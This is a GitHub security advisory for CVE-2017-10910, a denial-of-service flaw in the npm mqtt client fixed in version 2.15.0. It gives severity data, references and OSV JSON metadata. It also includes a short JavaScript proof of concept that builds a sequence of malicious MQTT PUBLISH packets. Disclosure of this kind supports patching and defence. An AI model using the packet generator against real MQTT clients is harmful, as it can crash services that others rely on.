GHSA-H9MJ-FGHC-664W

Vulnerability from github – Published: 2017-12-28 22:51 – Updated: 2021-09-14 17:16
VLAI?
Summary
Denial of Service in mqtt
Details

Affected versions of mqtt do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.

The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.

Proof of Concept

The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.

var mqttp = require('mqtt-packet');
var packets = [];
for(var i=0; i<=1000;i++){
    packets.push(
        mqttp.generate({
            cmd:'publish',
            topic:Buffer.from('hello'),
            payload:Buffer.from('world'),
            retain: false,
            dup: false, 
            messageId: ++i, 
            qos: 1
        })
    )
}

Recommendation

Update to version 2.15.0 or later.

Severity ?
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mqtt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-10910"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:39:48Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.\n\nThe vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.\n\n## Proof of Concept\n\nThe following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.\n```\nvar mqttp = require(\u0027mqtt-packet\u0027);\nvar packets = [];\nfor(var i=0; i\u003c=1000;i++){\n    packets.push(\n        mqttp.generate({\n            cmd:\u0027publish\u0027,\n            topic:Buffer.from(\u0027hello\u0027),\n            payload:Buffer.from(\u0027world\u0027),\n            retain: false,\n            dup: false, \n            messageId: ++i, \n            qos: 1\n        })\n    )\n}\n\n```\n\n\n## Recommendation\n\nUpdate to version 2.15.0 or later.",
  "id": "GHSA-h9mj-fghc-664w",
  "modified": "2021-09-14T17:16:40Z",
  "published": "2017-12-28T22:51:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10910"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mqttjs/MQTT.js/commit/403ba53b838f2d319a0c0505a045fe00239e9923"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-h9mj-fghc-664w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mqttjs/MQTT.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mqttjs/MQTT.js/releases/tag/v2.15.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/security-wg/blob/master/vuln/npm/357.json"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN45494523/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/555"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in mqtt"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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